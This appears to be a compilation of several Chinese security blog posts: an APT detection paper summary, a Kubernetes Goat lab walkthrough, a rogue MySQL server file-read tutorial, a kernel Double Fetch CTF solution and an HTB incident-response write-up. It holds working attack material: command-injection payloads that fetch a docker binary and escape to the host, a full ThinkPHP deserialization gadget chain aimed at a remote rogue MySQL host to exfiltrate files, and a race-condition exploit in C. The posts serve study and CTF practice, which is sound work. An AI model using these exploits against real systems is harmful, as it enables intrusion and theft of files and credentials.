这一阶段是不可或缺的,因为很多攻击活动的目的就是为了窃取信息,那么在本地拿到信息后自然需要通过C2回传,比如典型的Zeus等;此外对于僵尸网络还需要接收客户端的命令以执行恶意操作,比如发动ddos攻击,对于勒索软件需要被下派指令激活以加密本地关键文件
在这一步,根据通信特点也可以分为直接通信和间接通信两类:
在直接通信中,受害主机上的恶意软件包含攻击者控制的服务器ip和控制列表,但是如果这个特定的ip被阻断了,那么攻击者就失去了控制权;
在间接通信中,攻击者是利用合法的中间节点与受害者进行通信的,他可以利用白站进行中转,或者攻陷一些中间节点作为跳板,从而建立通信路径。
这一步其实非常灵活,攻击者可以通过不同的方式进行通信,比如使用邮件、使用http,dns等以及隐蔽信道。
但是这一阶段的活动一定会产生网络流量,因为很多检测工作都是在流量方面开展的。
Actions on objectives
这是kill-chain模型的最后阶段。攻击活动要么会自主进行或者通过C2信道接收到命令后开始执行。这一阶段的目标主要有三种:窃取信息、勒索软件、破坏系统。
回顾完了kill-chain,我们可以很直观地感受到,这个连续模型,阐述了攻击者是如何一步步实现攻击的,其基于的假设就是攻击者会以顺序、递进和高级的方式对受害者进行渗透,只要任一阶段被阻断,攻击就不会成功。
检测方案
检测方案非常直观,如下所示
在数据预处理阶段采用Pearson相关检验,利用贝叶斯算法优化训练输入信息。接下来贝叶斯算法根据检测阈值、预测阈值和灰色结果三个组成部分对数据进行分类。然后,将剩余的预处理数据作为实验组件,将其输出作为分析层次过程的输入参数,对攻击进行排序。此时会输出包括一个已知攻击优先级的分类。
参数的预处理与联系
检测APT攻击时需要计算几个参数,大部分研究中针对网络攻击的类型和严重程度,已经引入了各种参数来评估和检测网络攻击。但这里需要注意的是,检查许多参数的话可能会增加开销,并最终降低提出的入侵检测解决方案的效率。
所以在这里采用相关系数法减少检测APT攻击时使用的参数数量。
相关系数是确定两个定量变量之间关系类型和程度的统计工具。同时,它也是决定两个变量相关性的因素之一。它表明了关系的强度以及关系的类型。这个系数在−1到1之间。在两个变量之间没有关系的情况下,它等于0。
两个变量之间的相关性可以用各种不同的计算方法来测量。皮尔逊相关系数、斯皮尔曼相关系数和Tau Kendall相关系数是计算变量之间相关关系最常用的方法。在这里我们使用皮尔逊相关系数。一般来说,两个随机变量之间的皮尔逊相关系数等于它们的协方差除以它们的标准差的乘积。对于一个统计总体,相关系数可定义如下
对于有n个数据对的样本的相关系数可以表示如下
进一步推导为
其中
接下来需要评估相关强度,根据给定的应用,提出了各种分类,这些分类用于关联数据以及从大量数据中删除无用数据。
对应的评估可以参考下表
利用贝叶斯算法进行阈值训练和评估
贝叶斯决策理论是一种概率推理方法。假设给定的变量遵循一定的概率分布,这些概率和观察到的数据可以用来做决策。
朴素贝叶斯分类模型(NBC)是基于贝叶斯决策理论的一种基础模型。该分类方法执行简单,分类速度快,准确率高,是机器学习中应用最广泛的分类模型之一。朴素贝叶斯分类基本思想:假设样本属性之间相互独立,对于给定的待分类项,求解在此项出现的情况下其他各个类别出现的概率,哪个最大,就认为待分类项属于那一类别。
比如大家都知道的邮箱内垃圾邮件的筛选即应用朴素贝叶斯算法。我们这里就用它。
其实现主要分成三个阶段
第一阶段,准备工作。根据具体情况确定特征属性,并对每一特征属性进行划分,然后人工对一些待分类项进行分类,形成训练样本集合。这一阶段的输入是所有待分类数据,输出是特征属性和训练样本。唯一需要人工处理的阶段,质量要求较高。
第二阶段,分类器训练阶段(生成分类器)。计算每个类别在训练样本中出现频率及每个特征属性划分对每个类别的条件概率估计,并将结果记录。其输入是特征属性和训练样本,输出是分类器。
第三阶段,应用阶段。使用分类器对待分类项进行分类,其输入是分类器和待分类项,输出是待分类项与类别的映射关系。
理论上来说,朴素贝叶斯分类比其他分类算法的错误率最低。
但是,很难假设实际的网络行为是独立的。因为实际上每个计算机网络都有自己独特的特点,这些特点直接影响入侵检测方法的效果。因此,将一个加权特征分配给简单贝叶斯分类,在朴素贝叶斯分类中,对每个影响这些关系的属性赋予不同的权重时,不同的权值会产生不同的结果,这些权值对入侵检测方法有很大的影响。
在入侵检测系统中,朴素贝叶斯分类的重点实际是用于是确定不同特征权重。
通过公式计算得到的概率被用来确定阈值。通过对阈值进行评估,将结果表示为灰色阈值、预测阈值和检测阈值三种模式。预测模式表示当前入侵信息被检测到的过程。检测模式决定了入侵信息被完全识别和检测的过程。灰色模式表示当前信息无法检测到入侵。
模糊层次分析法
模糊层次分析法(FAHP)及计算过程层次分析法(AHP)是20世纪70年代美国运筹学T.L. Saaty教授提出的一种定性与定量相结合的系统分析方法。
该方法对于量化评价指标,选择最优方案提供了依据,并得到了广泛的应用。然而, AHP存在如下方面的缺陷:检验判断矩阵是否一致非常困难,且检验判断矩阵是否具有一致性的标准CR < 0. 1缺乏科学依据;判断矩阵的一致性与人类思维的一致性有显著差异。
在模糊层次分析中,作因素间的两两比较判断时,如果不用三角模糊数来定量化,而是采用一个因素比另一个因素的重要程度定量表示,则得到模糊判断矩阵。
其抽象结构如下所示
emmm,不好理解的话,我们里去哪里旅游的问题为例,可以把要考虑的因素都放上去进行计算,如下所示
用模糊层次分析法解决问题的一般步骤如下:
模糊层次分析法的基本思想是根据多目标评价问题的性质和总目标,把问题本身按层次进行分解,构成一个由下而上的梯阶层次结构。因此在运用FAHP决策时,大体上可以可分为以下四个步骤。
(1)分析问题,确定系统中各因素之间的因果关系,对决策问题的各种要素建立多级(多层次)递阶结构模型。
(2)对同一层次(等级)的要素以上一级的要素为准则进行两两比较,并根据评定尺度确定其相对重要程度,最后据此建立模糊判断矩阵。
(3)通过一定计算,确定各要素的相对重要度。
(4)通过综合重要度的计算,对所有的替代方案进行优先排序,从而为决策人选择最优方案提供科学的决策依据
在我们提出的方案中,模糊层次分析法是用于对不同的警报进行分类,并确定各参数之间的相关性,从而检测出APT攻击的。
该方法首先会对输入数据进行模糊化处理,数值模糊化可以采用各种隶属函数。隶属度A(x)表示模糊集合A中元素x的隶属度。如果一个元素的隶属度为0,则该元素完全不在该集合中;如果隶属度为1,则该元素完全在该集合中。当隶属度在0到1之间时,表示隶属度是渐进的。这里我们可以使用三角隶属函数对值进行模糊化处理。其公式如下
层次分析过程步骤如下:
•AHP建模过程-》创建两两比较决策矩阵-》计算每个选项的标准权重和得分,其最后一步涉及兼容性测试;其中涉及一致性指标(CI)和一致性比(CR)两个参数,当CR小于0.1时,结果才是可接受的,否则就要重新执行
检测效果
为了检测方案的可行性,这里使用了标准的公开数据集KDD CUP99进行评估
KDD CUP99是非常经典的数据集。该数据集是自1999年以来评估入侵检测系统最常见和标准的数据集,是基于DARPA 98项目记录的数据。该数据集包含由TCPDump软件从网络流量中收集的大约4 GB的原始二进制数据。它还包含大约500万条带有连接向量的记录,每条记录的大小为100字节和41个属性,以及一个包含正常模式或攻击模式的标签。由于该数据集的容量很大,大多数研究都使用了标准数据集中提供的10%的子集。这个数据集包括494,021条记录,包括23种攻击类和2个普通类。
在该数据集中,将数据记录分为拒绝服务(DoS)攻击、获取初始访问(R2L)攻击、提权(U2R)攻击和探测攻击(probing)四大类。在这里,根据kill-chain的特性以及这些攻击对kill-chain模型某些阶段的适应性,以这些攻击为例对APT攻击进行了分析。我们考虑了DoS、R2L、U2R攻击,以及信息收集(“Reconnaissance”)、入侵(“weaponization” 和“Delivery)、部署(““Exploitation” 和 “Installation””)和信息窃取(“Command and Control” 和 “Action on Objectives”)阶
因为使用了贝叶斯算法和模糊层次分析法相结合的方法,这里通过参数M负责控制这两种算法的收敛(M的值实际上表示Bayesian算法下一步将用于训练的数据点),为了确定M去哪个值更好,这里分别作了实验,效果如下
可以看到,M=4时效果是最好的
为了确定所提出的方案的效率更好,这里可以对T2数据集提取混淆矩阵,如下所示。a是基础方案,b是提出的方案.
在接下来的实验中,我们把这里提出的新的思路命名为APT-Dt-KC,然后与参考文献5中提出的DT-EnSVM方法进行对标,从结果可以看到,新的方案全面胜出。
从上表可以看出来,现在的方案混淆矩阵在分类阶段的效率比基础方案要更优。
然后分别比较两个方案在T1数据集和T2数据集上的结果,如下所示,第一个表示是在T1数据集上的结果,第二个表是在T2数据集上的结果
可以看到,现在的方案在检出率、假阳性率和假阴性率方面均要更占优势。而且由于消除了预警的冗余性,其训练时间也更短。
两个方案在两个数据集上的准确率如下
可以看到,现在的方案在准确率上是遥遥领先。
但是这还没有结束,对攻击进行分类处理后,需要确定攻击的级别和优先级。
由于现在的方法采用了AHP算法来考虑攻击的级别,因此可以对不同的攻击进行排序。因此,可以对所有攻击进行分类、排序,并根据最可能发生的情况进行评估。T1数据集在攻击检测阶段的实验结果如下所示。
可以看到其假阳性率和假阴性率均小于基础方法。
T1数据集中两个方案的平均检测率值如下所示
从表中可以看出,现在的方案在最终检测率上也是优于基础方法的。所以我们现在可以肯定地说,整个过程中我们提出的新方案有较好的检测效果。
参考
1.Panahnejad M, Mirabi M. APT-Dt-KC: advanced persistent threat detection based on kill-chain model[J]. The Journal of Supercomputing, 2022: 1-34.
2.https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
3.https://towardsdatascience.com/support-vector-machine-introduction-to-machine-learning-algorithms-934a444fca47
4.Setiawan B, Djanali S, Ahmad T, et al. Assessing centroid-based classification models for intrusion detection system using composite indicators[J]. Procedia Computer Science, 2019, 161: 665-676.
5.Gu J, Wang L, Wang H, et al. A novel approach to intrusion detection using SVM ensemble with feature augmentation[J]. Computers & Security, 2019, 86: 53-62.
通过Kuberneters Goat学习K8S安全(上)
实验环境:https://katacoda.com/madhuakula/scenarios/kubernetes-goat
0x1、敏感信息泄露利用
第一关是代码泄露利用,打开网站后显示:
告诉我们这是一个代码构建服务。
我们可以测试是否存在git泄露
可以访问到git的配置文件,然后可以尝试从网站转储 git存储库
这里使用的工具是git-dumper:https://github.com/arthaud/git-dumper
用法如下:
git-dumper http://website.com/.git ~/website
它会自动遍历路径和获取代码。
等待获取完成,然后查看获取的仓库内容:
使用git log可以查看代码提交的日志记录:
然后可以使用git checkout检出特定的提交,比如有一个包含环境变量的提交,检出来看看,说不定有敏感的信息:
查看.env文件:
还可以用另外一个工具trufflehog 对.git目录进行分析:
产生漏洞的原因:开发人员提交代码的时候,将敏感信息也提交进去了。
0x2、Docker in Docker 利用
第二关是DIND (docker-in-docker) exploitation
描述:大多数使用Docker并在管道构建容器的CI/CD和管道系统都使用称为DIND(docker-in-docker)的东西。简单来说就是在Docker容器中调用和执行宿主机的Docker。在此场景中,我们尝试利用并获得对宿主机系统的访问权限。
访问后的页面内容:
看起来像是存在命令注入漏洞,我们测试一下:
果不其然。
如果要利用docker in docker进行逃逸,前提是在docker容器运行的时候把docker.sock套接字文件一并挂载到了容器中。当我们拿到容器权限又存在挂载的docker.sock套接字文件,我们就可以通过 Docker Socket与宿主机的Docker服务进行通信,我们可以通过它创建新的容器,并把宿主机的目录挂载到新创建的容器中,这样我们就能访问宿主机的资源了。
查看是否存在docker.sock挂载
然后我们下载一个docker可执行程序,注入如下命令:
;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
解压缩:
;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/
然后就可以利用docker.sock来访问宿主机系统并在宿主机上执行docker命令
;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps
;/tmp/docker/docker -H unix:///custom/docker/docker.sock images
0x3 SSRF漏洞
第三关是SSRF in K8S world
场景描述:SSRF(服务器端请求伪造)漏洞是云原生环境的首选攻击方式。在此场景中,我们将学习如何利用应用程序中存在的SSRF漏洞的来访问云实例元数据以及内部服务元数据信息。
访问应用页面:
这应该是一个内部API代理服务
我们尝试一下访问内部的服务,比如容器服务
可以看到内部有一个http://metadata-db服务,访问看看
可以看到有一个latest的路径,我们继续访问http://metadata-db/latest/
可以发现好几个路径,通过枚举尝试,最终在http://metadata-db/latest/secrets/kubernetes-goat中发现了关键信息:
看起来像Base64编码的字符串,解密看看:
0x4 容器逃逸到宿主系统(敏感目录挂载)
访问这一关的页面
是一个Linux shell环境
场景描述
大多数监控、跟踪和调试软件需要以额外的权限和功能运行。在这个场景中,我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod,它允许我们访问宿主机系统并提供节点级配置,这样会带来可以获取整个集群控制权限的危害。
查看当前环境的基本信息
可以发现当前用户权限是root,系统是运行在docker 容器中。
查看挂载信息:
可以看到一个host-system的挂载,像是直接挂载的宿主机分区。查看里面的内容:
看起来像是把宿主机完整的系统都挂载进来了。
那么我们可以用chroot切换到宿主机的目录,获取对宿主机系统的权限访问
chroot /host-system bash
我们使用docker ps查看宿主机运行的容器
我们的目的是控制整个Kubernetes集群,查看Kubernets节点级配置文件:
cat /etc/kubernetes/kubelet.conf
然后我们可以利用配置文件获取集群内的所有资源
kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system
0x5 Docker CIS 安全基线分析
场景描述
该场景主要是在 Kubernetes 节点之上进行 Docker CIS 基准分析,以识别可能存在的安全漏洞。
首先需要部署docker bench security将它启动为DaemonSet
kubectl apply -f scenarios/docker-bench-security/deployment.yaml
访问docker-bench-security-xxxxx pod 并执行Docker CIS基线测试脚本。
controlplane $ kubectl exec -it docker-bench-security-5cq2h -- sh
~ # cd docker-bench-security/
~/docker-bench-security # ./docker-bench-security.sh
如果有多个节点,就依次进入并执行。
然后,可以根据 Docker CIS 安全基线测试中看到的漏洞进行进一步的利用或修复。
0x6 Kubernetes CIS 安全基线分析
场景描述
本场景主要是在Kubernetes节点之上进行Kubernetes CIS基线分析,识别可能存在的安全漏洞。
首先,我们在节点上部署kube-bench security为Kubernetes job
controlplane $ kubectl apply -f scenarios/kube-bench-security/node-job.yaml
job.batch/kube-bench-node created
controlplane $ kubectl apply -f scenarios/kube-bench-security/master-job.yaml
job.batch/kube-bench-master created
controlplane $
然后获取pod信息和查看jobs列表
查看kube-bench-node-xxxxx pod 的日志
然后,可以根据 Kubernetes CIS 安全基线测试中看到的漏洞进行进一步的利用。
0x7 攻击私有仓库
场景描述
容器仓库是存储所有容器镜像的地方。大多数情况下,每个组织都有自己的私有仓库。有时候会因为配置错误,导致仓库处于公共/开放状态。另一方面来说,开发人员因为使用内部私有仓库,可能会在在容器镜像中存储一些敏感信息。
因为这里已经设置好了私有仓库的端口,我们直接访问即可,如果是实际的安全测试中,需要进行扫描或者信息收集来确定私有仓库的地址和端口。
https://2886795289-1235-simba09b.environments.katacoda.com/v2/
我们可以用一些API来测试访问仓库的信息
API文档参考:https://docs.docker.com/registry/spec/api/
https://2886795289-1235-simba09b.environments.katacoda.com/v2/_catalog //列出存储库
查看具体的仓库信息:
https://2886795289-1235-simba09b.environments.katacoda.com/v2/madhuakula/k8s-goat-users-repo/manifests/latest
经过审计,可以看到 docker 镜像信息中有API 密钥信息和 ENV 变量等敏感信息泄露。
然后可以更进一步通过docker pull将镜像下载到本地并进行分析。另外在某些情况下,甚至可以根据权限和特权将恶意的镜像推送到仓库。
0x8 NodePort 暴露风险
场景描述
NodePort是Kubernetes的三种外部访问方式之一。NodePort 服务是接通外部网络到你的服务的最原始方式。是指在所有节点上开放一个特定端口,任何发送到该端口的流量都被转发到对应服务。
如果用户使用 NodePort 暴露了 Kubernetes 集群内的任何服务,这意味着如果运行 Kubernetes 集群的节点没有启用任何防火墙/网络安全策略。一些未经身份验证和未经授权的服务会被暴露和利用。
获取Kubernetes节点外部IP地址列表,因为这里是实验测试环境的原因,所以 EXTERNAL-IP显示为<none>
kubectl get nodes -o wide
默认情况下,NodePort的端口范围是30000-32767。可以使用Nmap等扫描工具进行扫描和服务识别。
访问对应的端口查看暴露的服务信息
此漏洞/攻击取决于 Kubernetes 集群的配置方式。
浅析MySQL恶意服务器读取文件原理
前言
注:本文不涉及对MySQL协议报文研究,仅讲解原理,并且做部分演示。
搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章。
原理
在阐述具体原理之前,先介绍几个SQL语句,以便后文理解
首先在tmp目录下新建一个tmp.txt
内容如下:
然后执行下方SQL语句,即可将tmp.txt文件导入其中
mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n';
Query OK, 3 rows affected (2.63 sec)
Records: 3 Deleted: 0 Skipped: 0 Warnings: 0
mysql> select * from Test;
+-------+
| name |
+-------+
| admin |
| user |
| Lxxx |
+-------+
3 rows in set (0.00 sec)
load data local infile语句会读取客户端本地的文件
load data infile语句会读取服务端本地的文件
terminated by表示以某某字符分割,默认为Tab,这里我设置为了\n
这个时候可能就会绕不清楚,什么是服务端,什么是客户端?
因为一般情况下,调试SQL都是在本机,并且数据库也在本机,这样的情况就导致,客户端和服务端都是在本地,有点难区分,下面我用一张图来简述。
在本地,由于客户端和服务端都是在同一个磁盘下,因此,在本地,无论是否加local都是可以将文件传入数据库的,而后面讲到利用MySQL恶意服务器读取文件的漏洞,就是需要使用local,来达到将文件带出的目的。
下面我画了两张图,第一张图是正常业务流程,第二张图是攻击者恶意攻击的流程
正常的后端业务流程如下:
当攻击者劫持后端服务器,并且在公网中搭建恶意的MySQL后,流程图如下:
这样攻击者就可以在后端达到任意文件下载的目的。
演示
虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,进而RCE的样例。
首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口
<?php
namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}
具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。
首先需要一个反序列化入口,这是毋庸置疑的,没有反序列化入口,那就无法进行反序列化,所以上方我就在HelloController控制器中自己写了一个反序列化入口
这条链子最终的链尾是需要数据库的相关信息,例如数据库名,数据库端口,数据库用户以及密码,并且这条链子是允许使用堆叠注入的,因此如果知道数据库相关信息,那么就可以利用堆叠注入写入一句话木马进而getshell
这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAq
传给url
可以看到报错注入成功
然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件,这里贴出几个连接,有些项目可能在新的MySQL版本中无法使用。
https://github.com/Gifts/Rogue-MySql-Server
https://github.com/allyshka/Rogue-MySql-Server
https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
下载好POC之后,修改一下要读取的文件名
然后利用Python启动,启动完成后,恶意的MySQL就在监听3307端口
python rogue_mysql_server.py
接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "1.1.1.1",
"hostport" => "3307",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
得到:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAq
传给HomeController控制器
然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件
现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了
使用场景
能劫持后端服务器,但无法getshell的时候,可以采用这个方法getshell(例如ThinkPHP3.2.3的利用链只能到数据库层,则可以通过这个方法getshell)
能引诱用户连接恶意MySQL(社会工程学)
参考资料
http://blog.nsfocus.net/malicious-mysql-server-reads-mysql-client-files/
https://www.modb.pro/db/51823
https://cloud.tencent.com/developer/article/1818089
https://github.com/Gifts/Rogue-MySql-Server
https://github.com/allyshka/Rogue-MySql-Server
https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
Kernel Pwn基础教程之 Double Fetch
一、前言
Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user,而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存于用户态中等待后续处理,而在这时数据会存在被条件竞争修改原有数据的风险,也就是笔者要分享的Double Fetch的由来。
二、Double Fetch介绍
如下图所示,用户态首先准备好用户态数据(prepare data),然后执行syscall进入内核态后,会对用户态数据进行第一次fetch,这一次fetch主要是做一些检测工作(如缓冲区大小、指针是否可用等),在检查通过后会执行第二次fetch对数据进行实际操作。而在这期间是存在一定的时间差,如果我们在用户态数据通过第一次check以后创建一个恶意进程利用二次fetch之间的时间差修改掉原先用户态的数据,那么在内核执行第二次fetch时处理的就并非原先通过检测的数据,而是我们精心准备的恶意数据,而此类漏洞往往会引起访问越界,缓冲区溢出最终造成恶意提权的情况。
三、Double Fetch例题
1、题目分析
本次选择的例题是0ctf-final-baby,用IDA打开baby.ko进行逆向分析。驱动主要注册了baby_ioctl函数,当第二个参数为0x6666时会使用printk函数输出flag值在,可以通过dmesg命令查看printk函数的输出结果。
不难看出flag是硬编码在驱动文件中,可以看到flag的长度为33位。
.data:0000000000000480 flag dq offset aFlagThisWillBe
.data:0000000000000480 ; DATA XREF: sub_25+25↑r
.data:0000000000000480 ; sub_25+D6↑r ...
.data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
当第二个参数为0x1337时通过三次检测则会对传入的内容与flag进行比较,如果相同就通过printk函数输出flag值。其中在三次检测中使用到_chk_range_not_ok函数,前两个参数不难理解,但是第三个参数在这里比较难理解。
bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow)
{
bool my_cf; // cf
unsigned __int64 sum; // rdi
my_cf = __CFADD__(len, contect);
sum = len + contect;
return my_cf || unknow < sum;
}
我们通过动态调试的方式定位在_chk_range_not_ok函数处,发现current_task+0x1358的结果就是0x7ffffffffffff000,也就是说这三次check的意思分别是:
1、判断结构体的指针是否在用户态
2、判断结构体中flag地址指针是否在用户态
3、判断结构体中flag长度是否与内核flag长度相同
通过这三个检测之后就会比对传入结构体中flag值与内核的flag值是否相同,全部正确就会通过printk输出内核中的flag值。
for ( i = 0; i < strlen(flag); ++i )
{
if ( contect->addr[i] != flag[i] )
return 0x16LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
return 0LL;
2、漏洞利用
通过分析题目其实没有十分明显的漏洞点,但是如果我们以条件竞争的思路来看待这道题就会发现隐藏的漏洞点。如果我们首先在用户态创建一个可以通过三次检测的结构体指针(User_Data),那么在这个数据在真正被处理之前是存在一定的时间差的,并且因为数据是保存在用户态中,所以当我们开启一个恶意进程不断修改用户态中flag地址为内核态的地址,那么在实际处理数据时取出的就是内核地址,最终判断的时候就是内核地址与内核地址的比较,最终输出flag值并用dmesg命令查看输出结果。
3、EXP
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
int finish = 1;
struct message {
char *addr;
int len;
}data;
size_t flag_address = 0;
void read_flag_address() {
system("dmesg | grep flag > message.txt");
int fd = open("message.txt", O_RDWR);
char buf[0x60] = {0};
read(fd, buf, sizeof(buf));
size_t idx = strstr(buf, "at ") + 3;
sscanf(idx, "%llx", &flag_address);
printf("[+] FIND FLAG ADDRESS: 0x%llx\n", flag_address);
close(fd);
}
void evil_thread() {
while (finish == 1) {
data.addr = flag_address;
}
}
void main() {
pthread_t pthread;
int fd = open("/dev/baby", O_RDWR);
char buf[0x100] = {0};
ioctl(fd, 0x6666);
read_flag_address();
pthread_create(&pthread, NULL, evil_thread, NULL);
data.addr = buf;
data.len = 33;
for (int i = 0; i < 0x1000; i++) {
ioctl(fd, 0x1337, &data);
data.addr = buf;
}
finish = 0;
pthread_join(pthread, NULL);
system("dmesg | grep flag");
close(fd);
}
使用如下命令编译elf文件,重新打包文件系统后执行start.sh,最终效果如下。
gcc -pthread -g -static -masm=intel -o exp exp.c
四、总结
Double Fetch 最为主要的就是培养以线程间条件竞争的角度来看待程序,从而发现一些比较隐蔽的漏洞。关于本次介绍的例题还有一种非预期的解法,可以通过在用户态使用mmap的方式开辟两块内存地址,第一块设置读写权限,第二块设置不可读写权限,我们将需要比较的字节放在第一块内存的最后一个字节中,当我们的判断正确时就会继续往下取值,这时就会从第二块即不可读写的内存中取值,就会造成kernel panic,这时我们就可以判断字符判断成功。感兴趣的师傅们可以自己尝试实现一下。
HTB-蓝队入门(上)
前言
HTB是大三时期一直想氪的一个平台,比较适合做一个方向上的深入学习。可惜大学生太穷了,只能工作后找个小伙伴AA,勉强付起这个昂贵的VIP。蓝队系列是我第一个开始学习(复习)的模块,需要好好记录下~也给想练HTB,但英语不好的同学一点帮助。
Chase-easy
简介:One of our web servers triggered an AV alert, but none of the sysadmins say they were logged onto it. We've taken a network capture before shutting the server down to take a clone of the disk. Can you take a look at the PCAP and see if anything is up?
大概翻译就是:我们的一台web服务器触发了AV警告,但没有一个管理员表示他们曾经登陆过。在关闭服务器以克隆磁盘之前,我们已经进行了网络捕获。让我看看PCAP的数据包,究竟被黑客打到了什么程度。
题目是给到的一个数据包,不得不吐槽的就是找了半天密码,原来就写我脸上了。。
压缩包解压之后是一个PCAP的文件,拿到包前先statistics-》Capture File Properties看下数据包大小、截取时间、操作系统等等基本信息,如果单纯是CTF的话帮助或许不大,但是在蓝军视角,获取更多的数据会更有助于我们定位问题。
数据包基本上是22.22.22.7与22.22.22.5通信,且量不大,很容易看到5号机器通过一个HTTP GET请求获取7号机器上的nc64.exe。
作为一个完整的攻击事件来说,这个显然不是入口。作为一般的应急响应事件来说,捕获到攻击情报的时候,很有可能已经达到内网,所以很有可能七号机器在此之前已经沦陷了,我们只能通过反推的方式去一层层的寻找最初的脆弱点(此题7号机不需要我们做溯源)。尝试筛选一下HTTP的请求,使用follow对HTTP流进行追踪。
很清晰的还原出7号机器通过5号机器的一个上传点,实现了文件上传漏洞,上传后的文件为/cmd.aspx,并且通过远程命令执行的方式,从7号机器获取nc64.exe,进而执行持久化控制。
从上面对5号机器进行的命令执行中,可以看到到反弹shell的端口在七号机的4444端口,所以我们可以通过tcp.port == 4444的方式,查看七号机器远程执行了什么命令。
前面“象征性”执行了whoami、ipconfig,到这步又从7号机拉取了一个名字很长的文件,感觉很可疑,就看一下吧,这里用过滤字符串的功能进行查看,提示“Hey there”,应该是Flag无误了。
Event Horizon
简介:Our CEO's computer was compromised in a phishing attack. The attackers took care to clear the PowerShell logs, so we don't know what they executed. Can you help us?
